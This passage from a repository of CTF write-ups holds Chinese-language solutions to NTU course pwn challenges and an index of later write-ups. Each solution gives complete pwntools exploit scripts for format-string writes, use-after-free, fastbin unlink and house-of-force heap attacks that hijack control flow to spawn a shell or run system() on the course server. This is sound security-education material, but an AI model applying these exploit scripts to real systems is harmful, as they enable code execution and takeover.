address時,基本上最多只能一次改寫到後兩個byte,因此只能跳到原address附近的目標,又因為libc在`printf`附近沒有什麼gadget可以使用,因此先不考慮。 8 | 9 | 在binary中,main下方的`__libc_csu_init`正好有`pop rdi; ret`的gadget可以作為`system`的參數,因此可以選擇此處,接下來的問題就是如何將ROP chain(`&"sh\x00"`, `system`)寫到stack上。 10 | 11 | 原本透過`argv`即可辦到任意寫,但是迴圈只會執行4次,不足以將ROP chain全部寫到stack上,不過恰好conuter `i`在`rbp-0x4`的位址,因此我們可以一開始就先把`i`寫為更大的值,如此就有足夠的次數來寫ROP chain,而`i`的位址剛好會和ROP chain中的`system`位址前16bytes有重疊,因此最後必須根據算出的`system`位址來決定i的值(因為是0x7fxx,次數一定夠寫),才能成功跳到`system`。 12 | 13 | 當把ROP chain都寫到stack上後,改寫`printf->main`使其跳到`pop rdi; ret`即可。 14 | 15 | 步驟整理如下: 16 | 1. leak stack & libc 17 | 2. 計算需要的gadget及要改寫的變數位址(`system`, `&"sh\x00"`, `i`, `printf->main`, 寫入`rdi`的slot,寫入`system`的slot) 18 | 3. 透過`argv`將`i`改寫為`system >> 32`(前16bytes) + 後面總共input的次數 19 | 4. 透過`argv`將`&"sh\x00"`寫到stack(rdi slot)上 20 | 5. 透過`argv`將`system`(後32bytes)寫到stack上 21 | 6. 透過`argv`將`printf->main`改為`pop rdi; ret` 22 | 23 | ### script 24 | ```python 25 | #!/usr/bin/env python3 26 | from pwn import * 27 | 28 | context.update(arch='amd64', os='linux') 29 | 30 | #r = process("fmtfun4u") 31 | r = remote('csie.ctf.tw', 10136) 32 | 33 | binary = ELF('fmtfun4u') 34 | rop = ROP(binary) 35 | libc = ELF('libc.so.6') 36 | 37 | def fmt(target, idx, size): 38 | if size == "hn": 39 | target &= 0xffff 40 | elif size == "hhn": 41 | target &= 0xff 42 | elif size == "n": 43 | target &= 0xffffffff 44 | return b"%%%dc%%%d$" % (target, idx) + size.encode() 45 | 46 | def send(payload): 47 | r.recvuntil(":") 48 | r.sendline(payload) 49 | 50 | # %9$p | __libc_start_main+240, offset = 0x20830 51 | # %11$p | &argv 52 | # %37$p | argv = &argv - 0xd0 53 | #--------------------stack-----------ROP----- 54 | # argv - 0x100 | printf_return | pop rdi; ret 55 | # argv - 0xf8 | | &"sh\x00" 56 | # argv - 0xf0 | | system() 57 | 58 | # leak libc & argv 59 | send(b"%9$p %11$p") 60 | r.recvuntil("0x") 61 | libc_base = int(r.recv(12), 16) - 0x20830 62 | r.recvuntil("0x") 63 | argv = int(r.recv(12), 16) 64 | 65 | # compute needed addresses 66 | sh = libc_base + next(libc.search("sh\x00")) 67 | system = libc_base + libc.symbols[b'system'] 68 | 69 | printf_return = argv - 0x100 70 | rdi_slot = printf_return + 0x8 71 | system_slot = printf_return + 0x10 72 | i = argv - 0xec 73 | pop_rdi = rop.rdi.address 74 | 75 | # argv -> i = system[32..48] + 12 76 | send(fmt(i, 11, "hn")) 77 | send(fmt(((system >> 32) + 12), 37, "hn")) 78 | 79 | # argv -> rdi_slot = sh[0..48] 80 | for idx in range(3): 81 | send(fmt(rdi_slot + 0x2 * idx, 11, "hn")) 82 | send(fmt(sh >> 16 * idx, 37, "hn")) 83 | 84 | # argv -> system_slot = system[0..32] 85 | for idx in range(2): 86 | send(fmt(system_slot + 0x2 * idx, 11, "hn")) 87 | send(fmt(system >> 16 * idx, 37, "hn")) 88 | 89 | # argv -> printf_return = pop_rdi 90 | send(fmt(printf_return, 11, "hn")) 91 | send(fmt(pop_rdi, 37, "hhn")) 92 | 93 | r.interactive() 94 | ``` 95 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework4/hacknote2.md: -------------------------------------------------------------------------------- 1 | ## hacknote2 2 | ### solution 3 | 本題原始碼中free後沒有沒有將pointer設為NULL,因此有可以使用的Use after free漏洞。 4 | ```c 5 | if(notelist[idx]){ 6 | free(notelist[idx]->content); 7 | free(notelist[idx]); 8 | puts("Success"); 9 | } 10 | ``` 11 | 12 | 而note的結構如下 13 | ```c 14 | struct note { 15 | void (*printnote)(); 16 | char *content ; 17 | }; 18 | ``` 19 | 大小為16bytes,其中第一個欄位是function pointer,overwrite後可以控制rip,而第二個欄位是char pointer,若是我們不去更動`printnote`,則可以改寫此處來read arbitrary memory。 20 | 21 | 本題初步來看沒辦法有任意寫入,因此比較可能的作法為使用`content` leak出libc,再複寫`printnote`跳到libc中可用的gadget。 22 | 23 | 當在`add_note`時一共會`malloc`兩次,第一次固定16bytes 24 | ,allocate一個`struct note`放到notelist中,第二次allocate `note->content`則是可指定大小。 25 | 26 | 接著,本題note最大數量為5,以global variable `count`紀錄當前note數量,但因為`del_note()`時並不會將`count`遞減,因此最多只能`add_note()`五次。 27 | 28 | 因此若是要overwrite一次,則要先`add_note`兩次,大小不能為16,再依序`del_note`,接著再次`add_note`指定大小為16,第一次`malloc struct note`(16bytes)因為fastbin是LIFO,會拿到第二次`add_note`的chunk,而第二次`malloc content`(16bytes)就會拿到原本第一次`add_note`的chunk。 29 | ```c 30 | notelist[2] == notelist[1] 31 | notelist[2]->content == notelist[0] 32 | ``` 33 | 34 | 本題中我們需要overwrite兩次,第一次leak libc,第二次控制rip。 35 | 我們首先`add_note`二次,再依序delete,第一次overwrite時,payload前8bytes保持原本的`print_note_content`,後8bytes送`puts@got`,結果為: 36 | ```c 37 | notelist[2] == notelist[1] 38 | notelist[2]->content == notelist[0] 39 | notelist[0]->print_note == print_note_content 40 | notelist[0]->content == puts@got 41 | ``` 42 | 接著我們print `notelist[0]`即可leak出`puts@got`,此時要再送一次payload,而fastbin中已經沒有chunk,因此要先把剛剛allocate的`notelist[2]`再次free掉,之後就會有兩塊16bytes的chunk(`notelist[0]`,`notelist[1]`),此時再`add_note`一次則會依序拿到`notelist[1]`和`notelist[0]`,將payload寫為要跳的target位址即可,結果如下: 43 | ```c 44 | notelist[3] == notelist[2] == notelist[1] 45 | notelist[3]->content == notelist[0] 46 | notelist[0]->print_note == target 47 | ``` 48 | 此時print `notelist[0]`即可jump到target。 49 | 50 | 最後則是考慮target,由於沒有漏洞能寫GOT,也無法給system參數,因此這裡使用了david942j/one_gadget工具來從libc找能用的gadget,結果共有3個相依於rsp的one gadget 51 | ``` 52 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 53 | constraints: 54 | [rsp+0x30] == NULL 55 | 0xf0274 execve("/bin/sh", rsp+0x50, environ) 56 | constraints: 57 | [rsp+0x50] == NULL 58 | 0xf1117 execve("/bin/sh", rsp+0x70, environ) 59 | constraints: 60 | [rsp+0x70] == NULL 61 | ``` 62 | 使用gdb簡易測試後可以發現剛好呼叫的時候`[rsp+0x50], [rsp+0x70]`都會是0,因此這邊選了`0xf0274`的gadget來使用,最後跳過去即可拿到shell 63 | 64 | ### script 65 | ```python 66 | #!/usr/bin/env python3 67 | from pwn import * 68 | 69 | context(arch="amd64") 70 | 71 | #r = process("hacknote2") 72 | r = remote("csie.ctf.tw", 10139) 73 | binary = ELF("hacknote2") 74 | libc = ELF("libc.so.6") 75 | one_gadget = 0xf0274 # execve("/bin/sh", rsp+0x50, environ) 76 | 77 | def add_note(size, content): 78 | r.recvuntil(":") 79 | r.sendline("1") 80 | r.recvuntil(":") 81 | r.sendline(str(size)) 82 | r.recvuntil(":") 83 | r.send(content) 84 | 85 | def del_note(idx): 86 | r.recvuntil(":") 87 | r.sendline("2") 88 | r.recvuntil(":") 89 | r.sendline(str(idx)) 90 | 91 | def print_note(idx): 92 | r.recvuntil(":") 93 | r.sendline("3") 94 | r.recvuntil(":") 95 | r.sendline(str(idx)) 96 | 97 | # leak libc 98 | add_note(50, "aaaaa") 99 | add_note(50, "aaaaa") 100 | del_note(0) 101 | del_note(1) 102 | # will write to note 0 103 | add_note(16, p64(binary.symbols[b'print_note_content']) + p64(binary.got[b'puts'])) 104 | 105 | print_note(0) 106 | puts = u64(r.recvuntil('\n', drop=True).ljust(8, b'\x00')) 107 | del_note(2) 108 | 109 | # jump to one_gadget 110 | libc_base = puts - libc.symbols[b'puts'] 111 | # will write to note 0 112 | add_note(16, p64(libc_base + one_gadget)) 113 | 114 | print_note(0) 115 | 116 | r.interactive() 117 | ``` 118 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework4/profile_manager.md: -------------------------------------------------------------------------------- 1 | ## profile_manager 2 | ### solution 3 | 本題沒有什麼能利用的overflow,但`edit_profile`存在漏洞,如下 4 | ```c 5 | void edit_profile(){ 6 | ... 7 | read(0,buf,16); 8 | tmp = realloc(p[idx].name,strlen(buf)); 9 | if(!tmp){ 10 | puts("Realloc Error !"); 11 | return ; 12 | } 13 | ``` 14 | 若是直接傳`"\x00"`可使`strlen(buf)`為0,導致`realloc()`的size為0,則會使`p[idx].name`被`free()`,而此處直接return所以`p[idx].name`並不會被清0,成為dangling pointer。 15 | 16 | 接著,此時被free的chunk已經進入fastbin中,但我們再次呼叫`edit_profile()`,`realloc()`檢查chunk size發現足夠後並不會重新allocate,因此我們可以仍然可以對`p[idx].name`進行寫入,達到overwrite fastbin link中的`FD`的效果。 17 | 18 | 利用overwrite fastbin link,我們可以先將兩塊fake chunk寫在descrption中,再使`FD`指向第二塊fake chunk,之後即可allocate拿到該chunk進行unlink。 19 | 20 | ``` 21 | |-----------| 22 | desc -> | prev_size | 23 | | size | 24 | | ... | 25 | | prev_size2| <- FD <- fastbin 26 | | size2 | 27 | |-----------| 28 | ``` 29 | 接著必須確定以下資訊: 30 | * heap base 31 | FD必須寫為fake chunk的位址,而fake chunk在heap上,因此必須知道heap base。 32 | 33 | 類似overwrite FD的道理,我們可以透過free構造fastbin list,使得dangling pointer指向fastbin中的`FD`,即可用`show_profile`將其print出來,再計算出heap base。 34 | 需要注意的是不能使dangling指向`p[0]->name`,因為結尾必定是`"\x00"`導致無法print。exploit中是構造`fastbin->chunk0->chunk1`的list,再以`show_profile`讀取chunk0的`FD`(=&chunk1)。 35 | 36 | * unlink target 37 | 因為`edit_profile`中能修改`desc`的code如下,若是指向的空間一開始即為0則無法寫入任何資料。 38 | ```c 39 | read(0, p[idx].desc, strlen(p[idx].desc)); 40 | ``` 41 | 42 | 由於fake chunk寫在descrption內,target必定是`profile[i]->desc`,unlink後target會指向自己-0x18,而若是以`p[0]->desc`為目標,則會指向到heap下方一小塊全部為0的space。 43 | 44 | 因此必須選擇`i = 1`以上,則`p[i].desc -> p[i-1].desc`,此時裡面的內容為其他的heap address,至少為3bytes,我們即可將其蓋為`atoi@got`。 45 | 46 | 成功將desc蓋為`atoi@got`之後,先以`show_profile` leak出libc位址,接著計算出`system`後再同樣以`edit_proflie`寫入,最後在選單輸入`sh`即可拿到shell。 47 | 48 | 整理步驟為: 49 | 1. 構造fastbin list同時寫入fake chunks,leak heap 50 | 2. 使fastbin list中的FD指向fake chunk2 51 | 3. allocate拿到fake chunk2 52 | 4. 對fake chunk2進行unlink,此時某個desc指向前一個desc 53 | 5. 將其內容寫為`atoi@got`,再以`show_profile` leak libc 54 | 6. 以`edit_profile`將`atoi@got`寫為`system` 55 | 56 | ### script 57 | ```python 58 | #!/usr/bin/env python3 59 | from pwn import * 60 | 61 | context(arch="amd64") 62 | 63 | #r = process("profile_manager") 64 | binary = ELF("profile_manager") 65 | libc = ELF("libc.so.6") 66 | r = remote("csie.ctf.tw", 10140) 67 | 68 | def send(s): 69 | r.recvuntil(":") 70 | r.send(s) 71 | 72 | def add_profile(name, age, length, desc): 73 | send("1") 74 | send(name) 75 | send(str(age)) 76 | send(str(length)) 77 | send(desc) 78 | 79 | def show_profile(idx): 80 | send("2") 81 | send(str(idx)) 82 | 83 | def edit_profile(idx, name, age, desc): 84 | send("3") 85 | send(str(idx)) 86 | send(name) 87 | if name == "\x00": 88 | return 89 | send(str(age)) 90 | send(desc) 91 | 92 | def del_profile(idx): 93 | send("4") 94 | send(str(idx)) 95 | 96 | target = binary.symbols[b'p'] + 0x28 97 | chunk = p64(0) + p64(0x71) # size + prev_size 98 | chunk += p64(target - 0x18) + p64(target - 0x10) #fd, bk 99 | chunk += b"a" * 0x50 100 | chunk += p64(0x70) + p64(0x20) # prev_size, size(fastbin) 101 | 102 | # alloc chunk0, 1 103 | # free chunk1, 0 104 | # fastbin -> chunk0 -> chunk1 105 | add_profile("X", 0x87, 0x90, "aaaa") 106 | add_profile("X", 0x87, 0x90, chunk) 107 | edit_profile(1, "\x00", 0, 0) 108 | edit_profile(0, "\x00", 0, 0) 109 | 110 | # leak chunk1, compute heapbase 111 | show_profile(0) 112 | r.recvuntil("Name : ", drop=True) 113 | heapbase = u64(r.recvuntil("\n", drop=True).ljust(8, b'\x00')) - 0xc0 114 | r.recvuntil("Desc : ") 115 | 116 | # fastbin -> chunk0 -> fakechunk(base+0x160) 117 | edit_profile(0, p64(heapbase + 0x160), 0x33, "cccc") 118 | 119 | # alloc p[2].name = chunk0 120 | # fastbin -> fakechunk 121 | add_profile("X", 0x87, 0x90, "bbbb") 122 | # alloc p[3].name = fakechunk 123 | add_profile("X", 0x87, 0x90, "dddd") 124 | # unlink(p[3].name) 125 | del_profile(3) 126 | # now, p[1].desc -> p[0].desc 127 | # make p[0].desc = atoi@got 128 | edit_profile(1, "66666", 0x33, p64(binary.got[b'atoi'])) 129 | # leak atoi, compute system 130 | show_profile(0) 131 | r.recvuntil("Desc : ", drop=True) 132 | atoi = u64(r.recv(6).ljust(8, b'\x00')) 133 | system = atoi - libc.symbols[b'atoi'] + libc.symbols[b'system'] 134 | # make atoi@got = system 135 | edit_profile(0, "X", 0x87, p64(system)) 136 | 137 | r.interactive() 138 | # run sh 139 | ``` 140 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework5/README.md: -------------------------------------------------------------------------------- 1 | # NTU Computer Security 2017 2 | ## Homework 5 3 | 4 | * [..](./../) 5 | * [baby_heap_revenge](./baby_heap_revenge.md) 6 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework5/baby_heap_revenge.md: -------------------------------------------------------------------------------- 1 | ## baby_heap_revenge 2 | ### solution 3 | 首先先檢查保護機制: 4 | ``` 5 | RELRO: Full RELRO 6 | Stack: No canary found 7 | NX: NX enabled 8 | PIE: No PIE 9 | ``` 10 | 由於是Full RELRO,因此無法hijack GOT。 11 | 接著分析原始碼,可以明顯看到一個在heap的8 bytes overwrite。 12 | ```c 13 | void allocate_heap(){ 14 | ... 15 | heap = malloc(size); 16 | if(heap){ 17 | ... 18 | read_input(heap,size+8); 19 | ... 20 | ``` 21 | 再來,有無限次的`malloc()`,但沒有任何`free()`,以及可以隨時看最後一次`malloc()`位址的內容,最後加上提示是使用The house of force,先大概可以整理出以下思路。 22 | 23 | 1. 試圖overwrite top chunk的size 24 | 2. leak出heap的位址 25 | 3. 試圖leak stack,使chunk落在satck使用ROP,或是試著leak libc,改寫`__malloc_hook` 26 | 27 | 首先是overwrite top chunk的`size`,因為8bytes理論上只能蓋掉`prev_size`,但是用類似off-by-one[1]的技巧,當`malloc()`的大小沒有對齊`MINSIZE`(0x10)的時候,會和後一塊chunk共用`prev_size`的空間,導致多出來的bytes就可以繼續往後寫入到`size`。因此,我們只要分配的大小尾數是0x8,後8bytes會跟top chunk的`prev_size`共用,多出來的8bytes就可以蓋掉top chunk的`size`。 28 | 29 | 接著問題在於如何leak出heap的位址?由於在不知道heap offset的狀況不可能利用the house of force來跳到其他segment,因此通常需要利用`free()`來在heap上產生bin chunk的pointer,但是程式中沒有任何`free()`,因此無法達成。 30 | 31 | 然而,實際上在`sysmalloc()`中,若是滿足特定條件則會呼叫`_int_free()`,因此若是能偽造相關條件,則可以在`malloc()`時呼叫`_int_free()`產生unsorted bin chunk,我們即可藉此leak出heap的位址,同時因為有link會指向`main_arena`,因此也可以用來計算出libc的位址。 32 | 33 | 根據`sysmalloc()`的source code,可以推出constraint為: 34 | 35 | * alloc size < `mmap_threshold` 36 | 37 | * alloc size + `MINSIZE` > top chunk size > `MINSIZE` 38 | 39 | * `PREV_INUSED` is set 40 | 41 | * top address + size需要對齊page大小 42 | 43 | 由於剛切出來的top chunk會大於`mmap_threshold`(128KB),因此我們可以直接先將top chunk size寫小,而由於還需要滿足align page boundary的條件,原則上不要動到原本大小的最後幾個bytes,因此最後fake top size應該寫為`size & (pagesize - 1) | PREV_INUSED`,接著任意`malloc()` size > fake top size即可。 44 | 45 | 我們可以使`alloc size = fake top size + 0x8`,如此一來可以同時再次將top size寫為`0xffffffffffffffff`,以用於稍後的the house of force attack。 46 | 47 | ``` 48 | overwrite top chunk to a smaller size 49 | |--------------| <- first chunk data 50 | | "aaaaaaaa" | 51 | | "aaaaaaaa" | <- top chunk (shared prev_size) 52 | | fake_size | 53 | |--------------| 54 | ``` 55 | 56 | 在第二次`malloc()`後,原本的top chunk在`_int_free()`後會被放入unsorted bin中,而會有FD和BK指向main_arena。 57 | ``` 58 | after sysmalloc triggers _int_free 59 | |--------------| <- first chunk data 60 | | "aaaaaaaa" | 61 | | "aaaaaaaa" | <- unsorted bin 62 | | fake_size | 63 | | FD | 64 | | BK | 65 | |--------------| 66 | ........ 67 | |--------------| <- new top chunk 68 | | ........ | 69 | | -1(0xff...) | 70 | |--------------| 71 | ``` 72 | 而在第三次`malloc()`時,要是request large bin的大小,會使得該chunk先從unsorted bin被移入large bin中,此時會額外多了兩個link `fd_nextsize`和`bk_nextsize`指向heap上前一塊chunk,之後我們拿到該chunk時,這些link會遺留著,我們就可以leak出heap address。 73 | ``` 74 | after process unsorted bin 75 | |--------------| <- first chunk data 76 | | "aaaaaaaa" | 77 | | "aaaaaaaa" | <- large bin (shared prev size) 78 | | size | 79 | | FD | 80 | | BK | 81 | | fd_nextsize | 82 | | bk_nextsize | 83 | |--------------| 84 | 85 | split large chunk and return 86 | |--------------| <- first chunk data 87 | | "aaaaaaaa" | 88 | | "aaaaaaaa" | <- second chunk header 89 | | size | 90 | | FD | <- second chunk data 91 | | BK | 92 | | fd_nextsize | 93 | | bk_nextsize | 94 | | prev_size | <- last remainder 95 | | size | 96 | |--------------| 97 | 98 | overwrite 99 | |--------------| <- first chunk data 100 | | "aaaaaaaa" | 101 | | "aaaaaaaa" | <- second chunk header 102 | | size | 103 | | "cccccccc" | <- second chunk data 104 | | "ADDRESS:" | 105 | | fd_nextsize | <----- leak here 106 | | bk_nextsize | 107 | | prev_size | <- last remainder 108 | | size | 109 | | FD | 110 | | BK | 111 | |--------------| 112 | ``` 113 | 114 | 在第三次`malloc()`,我們再繼續往下拿,chunk會繼續從last remainder中切出來,則可以leak出`main_arena` address算出libc。 115 | ``` 116 | allocate third chunk and overwrite 117 | |--------------| <- first chunk data 118 | | "aaaaaaaa" | 119 | | "aaaaaaaa" | <- second chunk header 120 | | size | 121 | | "cccccccc" | <- second chunk data 122 | | "ADDRESS:" | 123 | | fd_nextsize | 124 | | bk_nextsize | 125 | | prev_size | <- 3rd chunk header 126 | | size | 127 | | "ADDRESS:" | <- 3rd chunk data 128 | | BK | <----- leak here 129 | | prev_size | <- last remainder 130 | | size | 131 | |--------------| 132 | ``` 133 | 134 | 到此,已經知道heap和libc address了,因此接下來可以試著使用the house of force去修改`__malloc_hook`。 135 | 136 | 首先嘗試直接寫成one gadget,有三個依賴stack的gadget可用: 137 | ``` 138 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 139 | constraints: 140 | [rsp+0x30] == NULL 141 | 0xf0274 execve("/bin/sh", rsp+0x50, environ) 142 | constraints: 143 | [rsp+0x50] == NULL 144 | 0xf1117 execve("/bin/sh", rsp+0x70, environ) 145 | constraints: 146 | [rsp+0x70] == NULL 147 | ``` 148 | 但在測試後全部都無法滿足。 149 | 150 | 接著,再試著改將`__malloc_hook`寫為`system()`,則只要將libc中`sh`的位址作為`malloc()`的大小傳入即可執行`system("sh")`,但在debug時又發現`system("sh")`在執行時又會觸發`malloc()`導致無窮迴圈,因此最後嘗試直接將`"cat /home/baby_heap_revenge/flag"`寫到heap上,接著使用`malloc()`觸發`system("cat /home/baby_heap_revenge/flag")`,就成功地拿到了flag。 151 | 152 | 所以,這部份先進行the house of force的利用,new top必須落在`__malloc_hook - 0x10`(扣掉chunk header),因此`malloc()`大小為`__malloc_hook - old_top - 0x20`,若在此時同時將`cat /home/baby_heap_revenge/flag`寫到heap上,則他的位址會是`old_top + 0x10`(加上chunk header)。 153 | 154 | 成功後,再次`malloc()`拿到的chunk data就會指到`__malloc_hook`(大小需要大於之前last remainder還剩下的部份),寫為`system()`即可。最後,將`old_top + 0x10`作為`malloc()`的size再呼叫一次就可以看到flag了。 155 | 156 | 157 | 最後整理一下步驟: 158 | 159 | 1. 第一次`malloc()`,將top size寫為`top size & (pagesize - 1) | PREV_INUSED` 160 | 2. 第二次`malloc()`,大小為`fake top size + 0x8`,並將top size寫為`0xffffffffffffffff` 161 | 3. 第三次`malloc()`,取得指向原本在unsorted bin中的chunk的chunk,leak heap address 162 | 4. 第四次`malloc()`,在上一塊chunk下方再取得一塊chunk,leak main_arena address並算出libc base。 163 | 5. 第五次`malloc()`,利用the house of froce使新的top chunk指向`__malloc_hook - 0x10`,同時將`cat /home/baby_heap_revenge/flag`寫到heap上。 164 | 6. 第六次`malloc()`,size必須大於之前large bin剩下的chunk size,控制`__malloc_hook`並寫為`system()` 165 | 7. 第七次`malloc()`,將之前寫的string address作為size,觸發`__malloc_hook`執行`system("cat /home/baby_heap_revenge/flag")` 166 | 167 | ### flag 168 | ``` 169 | FLAG{YOUARENOTBABYATALL} 170 | ``` 171 | ### script 172 | ```python 173 | #!/usr/bin/env python3 174 | from pwn import * 175 | 176 | context(arch="amd64", terminal=["tmux", "neww"]) 177 | 178 | #r = process("baby_heap_revenge") 179 | r = remote("csie.ctf.tw", 10141) 180 | libc = ELF("libc.so.6") 181 | 182 | def send(s): 183 | r.recvuntil(":") 184 | r.send(s) 185 | 186 | def allocate(size, data): 187 | send("1") 188 | send(str(size)) 189 | send(data) 190 | 191 | def show(): 192 | send("2") 193 | 194 | def leak(): 195 | show() 196 | r.recvuntil('ADDRESS:') 197 | return u64(r.recvuntil('\n', drop=True).ljust(8, b'\x00')) 198 | 199 | # 1. overwrite the size of top chunk to a small value 200 | # to trigger _int_free() in sysmalloc(), we will 201 | # get a unsorted bin chunk, also overwrite the new top 202 | PREV_INUSED = 1 203 | TOP_SIZE = 0x20fe0 204 | PAGESIZE = 0x1000 205 | SMALL_TOP_SIZE = TOP_SIZE & (PAGESIZE - 1) 206 | allocate(0x18, b'a' * 0x18 + p64(SMALL_TOP_SIZE | PREV_INUSED)) 207 | LARGE_TOP_SIZE = 0xffffffffffffffff 208 | allocate(SMALL_TOP_SIZE + 0x8, b'b' * (SMALL_TOP_SIZE + 0x8) + p64(LARGE_TOP_SIZE)) 209 | 210 | # 2. Using the unsorted bin chunk to leak address of heap. 211 | # Also, there is address of main_arena on the heap, it 212 | # can be used to compute libc address 213 | allocate(0x20, b'c' * 0x8 + b'ADDRESS:') 214 | heap_addr = leak() 215 | top_addr = heap_addr + 0x21fd0 216 | allocate(0x10, b'ADDRESS:') 217 | arena_addr = leak() 218 | libc_base = arena_addr - 0x3c4b78 219 | 220 | # 3. Using the house of force to get a chunk point to __malloc_hook. 221 | # Write the string to be executed by system() on heap meanwhile. 222 | # Finally, make __malloc_hook point to system(), pass the string 223 | # as malloc() argument, then trigger malloc() 224 | # Note : we can't simply execute system("sh") since it will trigger 225 | # another malloc() during execution, and result in a infinite loop. 226 | __malloc_hook = libc_base + libc.symbols[b'__malloc_hook'] 227 | offset = __malloc_hook - top_addr - 0x20 228 | allocate(offset, b'cat /home/baby_heap_revenge/flag\x00') 229 | str_addr = top_addr + 0x10 230 | allocate(0xff8, p64(libc_base + libc.symbols[b'system'])) 231 | 232 | # 4. use malloc to trigger hook, don't use allocate() here since it will 233 | # failed to receive the prompt of data 234 | send("1") 235 | send(str(str_addr)) 236 | 237 | r.interactive() 238 | ``` 239 | ### Reference 240 | * [Off-By-One Vulnerability (Heap Based)](https://sploitfun.wordpress.com/2015/06/09/off-by-one-vulnerability-heap-based/) 241 | for using unaligned chunk size to overwrite `size` idea 242 | * [HITCON CTF Qual 2016 - House of Orange Write up]( 243 | http://4ngelboy.blogspot.tw/2016/10/hitcon-ctf-qual-2016-house-of-orange.html) 244 | for using `sysmalloc` to trigger `_int_free` idea 245 | "Awesome technique, very impressive!" 246 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ctf-writeups 2 | My CTF writeups 3 | 4 | * 2017 5 | * [AIS3 2017](./ais3-2017) (Chinese Only) 6 | * [NTU Computer Security 2017](./NTU-computer-security-2017) (Chinese Only) 7 | * [AIS3 EOF 2017](./ais3-eof-2017) (EZ\_CAT, 5th place) (Chinese Only) 8 | * 2018 9 | * [AIS3 2018](./ais3-2018) (Chinese Only) 10 | * [神盾盃 2018](./AEGIS-2018) (Chinese Only) 11 | * [Tokyo Western CTF 2018](./Tokyo-Western-2018) (10sec, 26th place) 12 | * [SEC-T CTF 2018](./sect-2018) (10sec, 48th place) 13 | * [CSAW CTF Qualification Round 2018](./csaw-2018) (10sec, 101st place) 14 | * [DefCamp CTF Qualification 2018](./dctf-2018) (10sec, 17th place) 15 | * [BSides Delhi CTF 2018](./bsides-2018) (10sec, 9th place) 16 | * [SECCON 2018 Online CTF](./seccon-2018) (10sec, 14th place) 17 | * DefCamp CTF Final 2018 (10sec, 8th place) 18 | 19 | New writeups will be updated at [10secTW/ctf-writeup](https://github.com/10secTW/ctf-writeup) 20 | 21 | * 2019 22 | * Balsn CTF 2019 23 | * listcomp ppm - PPM / 371 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2019/balsn%20CTF/listcomp%20ppm/listcomp_ppm_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/blob/master/2019/balsn%20CTF/listcomp%20ppm/listcomp_ppm_zh.md)) 24 | * HITCON CTF 2019 25 | * EmojiVM - Misc / 198 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2019/HITCON%20CTF/EmojiVM/misc/EmojiiVM_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/blob/master/2019/HITCON%20CTF/EmojiVM/misc/EmojiiVM_zh.md)) 26 | * EmojiVM - Reverse / 187 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2019/HITCON%20CTF/EmojiVM/rev/EmojiVM_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/blob/master/2019/HITCON%20CTF/EmojiVM/rev/EmojiVM_zh.md)) 27 | * SECCON CTF 2019 28 | * 7w1n5 - Rev / 383 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2019/SECCON%20CTF%20quals/7w1n5/README_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/blob/master/2019/SECCON%20CTF%20quals/7w1n5/README_zh.md)) 29 | * Beer - Misc / 110 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2019/SECCON%20CTF%20quals/Beeeeeeeeeer/README_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/blob/master/2019/SECCON%20CTF%20quals/Beeeeeeeeeer/README_zh.md)) 30 | * PPKeyboard - Rev / 352 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2019/SECCON%20CTF%20quals/PPKeyboard/README_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/tree/master/2019/SECCON%20CTF%20quals/PPKeyboard)) 31 | * follow me - Rev / 225 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2019/SECCON%20CTF%20quals/follow-me/README_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/blob/master/2019/SECCON%20CTF%20quals/follow-me/README_zh.md)) 32 | * lazy - Pwn / 332 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2019/SECCON%20CTF%20quals/lazy/README_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/blob/master/2019/SECCON%20CTF%20quals/lazy/README_zh.md)) 33 | * 2020 34 | * nullcon HackIM 35 | * meekboi - pwn / 100 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2020/nullcon%20HackIM/meekboi/meekboi_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/blob/master/2020/nullcon%20HackIM/meekboi/meekboi_zh.md)) 36 | * returminator - re / 100 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2020/nullcon%20HackIM/returminator/returminator_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/blob/master/2020/nullcon%20HackIM/returminator/returminator_zh.md)) 37 | * year3000 - re / 176 ([EN](https://github.com/10secTW/ctf-writeup/blob/master/2020/nullcon%20HackIM/year3000/year3000_en.md) | [ZH](https://github.com/10secTW/ctf-writeup/blob/master/2020/nullcon%20HackIM/year3000/year3000_zh.md)) 38 | -------------------------------------------------------------------------------- /Tokyo-Western-2018/README.md: -------------------------------------------------------------------------------- 1 | # Tokyo Western CTF 2018 2 | 3 | Team : 10sec 4 | 5 | * [..](./../) 6 | * Reversing 7 | * [dec dec dec](./dec_dec_dec.md) 8 | -------------------------------------------------------------------------------- /Tokyo-Western-2018/dec_dec_dec.md: -------------------------------------------------------------------------------- 1 | ## dec dec dec (reverse) (warmup) 2 | 3 | ### Solution 4 | 5 | After decompilation and tidy up the result, it's clear that main will get the input from `argv[1]`, copy and pass it through three functions, finally compare with some encoded string. The first function is obviously base64, the second is rot13, but the third is really difficult to figure out, after a while my teammate found its uuencode, so we decode the encoded string and get the flag. 6 | 7 | ```c 8 | #include 9 | #include 10 | #include 11 | 12 | char *flag_encoded = "@25-Q44E233=,>E-M34=,,$LS5VEQ45)M2S-),7-$/3T"; 13 | 14 | int main(int argc, char **argv) { 15 | if ( argc != 2 ) { 16 | puts("./dec_dec_dec flag_string_is_here "); 17 | exit(0); 18 | } 19 | char *input = (char *)malloc(strlen(argv[1]) + 1); 20 | strncpy(input, 